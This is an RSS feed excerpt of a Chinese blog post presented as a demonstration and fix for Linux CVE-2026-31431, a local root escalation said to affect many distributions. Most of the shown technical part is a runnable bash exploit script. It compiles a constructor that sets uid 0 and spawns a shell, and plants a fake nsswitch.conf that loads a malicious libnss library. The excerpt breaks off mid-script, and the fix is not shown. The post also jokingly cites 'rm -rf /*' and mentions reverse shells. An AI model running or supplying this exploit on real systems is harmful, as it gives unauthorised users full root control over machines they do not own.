Lokve博客 - CVE-2026-31431
type: channel
link: https://blog.lokve.cn/index.php/tag/CVE-2026-31431/
items: Linux CVE-2026-31431漏洞演示与修复

Linux CVE-2026-31431漏洞演示与修复
type: item
date: 2026-05-04T19:34:32+08:00
description: CVE-2026-31431漏洞hello 各位最近工作太忙了，很久没更新博客了想不到都2026年了，Linux还能出这么爆冷的安全漏洞，而且这个漏洞涵盖了很多Linux发行版本这漏洞有点牛逼，2017 年至 2026-03-31 之间的几乎所有主流 Linux 内核与发行版，只要内核在下面区间就受影响：当然，号称华为自主研发的Openeuler Linux也没能幸免，因为跟随国家战略，基本上很多厂家都从原来的centos系列换成华为的欧拉了，但是实际上行内人士基本上都看得出来是centos套的壳子UbuntuUbuntu 18.04 LTSUbuntu 20.04 LTSUbuntu 22.04 LTSUbuntu 24.04 LTSDebianDebian 11（bullseye，内核 5.10.x）Debian 12（bookworm，内核 6.1.x）RHEL / CentOS / Rocky / Alma / OracleRHEL 8RHEL 9RHEL 10（含 10.1）CentOS 8Rocky Linux 8 / 9 / 10AlmaLinux 8 / 9Oracle Linux 8 / 9SUSESUSE Linux Enterprise 15SUSE Linux Enterprise 16（已验证 6.12 内核）云厂商 LinuxAmazon Linux 2Amazon Linux 2023（已验证 6.18.8）Alibaba Cloud LinuxTencentOS Server其他社区发行版Fedora（34–40，对应 5.x～6.17）Arch Linux（滚动内核，大部分 5.x/6.x 受影响）openEuler 22.03 / 24.03Manjaro、EndeavourOS 等基于 Arch 的发行版漏洞原理总结：普通账号，不用密码、不用特殊权限，直接干到 Root 最高管理员权限。玩过网络安全的朋友们都知道，想尽一切办法让上传成功的paylod能成功连上自己的反弹shell只是第一步最重要的还是提权！如果还是不清楚这是什么意思，这样说，最早期我们的手机可以刷机，需要root权限，因为安卓系统也是基于Linux拿到root权限以后，完全就可以变成板砖了，一点办法都没有....相比Windows ，Linux在“忠诚”这一层面，狠起来自己都可以删自己，这也流传了这样一个经典rm -rf /*漏洞复现准备环境Linux： 复制 [orange@Orange ~]$ cat /etc/os-release NAME="openEuler" VERSION="24.03 (LTS-SP2)" ID="openEuler" VERSION_ID="24.03" PRETTY_NAME="openEuler 24.03 (LTS-SP2)" ANSI_COLOR="0;31" 漏洞脚本 复制 #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 if [ $# -eq 0 ]; then # If no command is provided, default to an interactive root shell. CMD="/bin/bash" else # Otherwise, use the provided arguments as the command to execute. CMD="$@" fi # Escape the command to safely include it in a C string literal. # This handles backslashes and double quotes. CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g') cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc …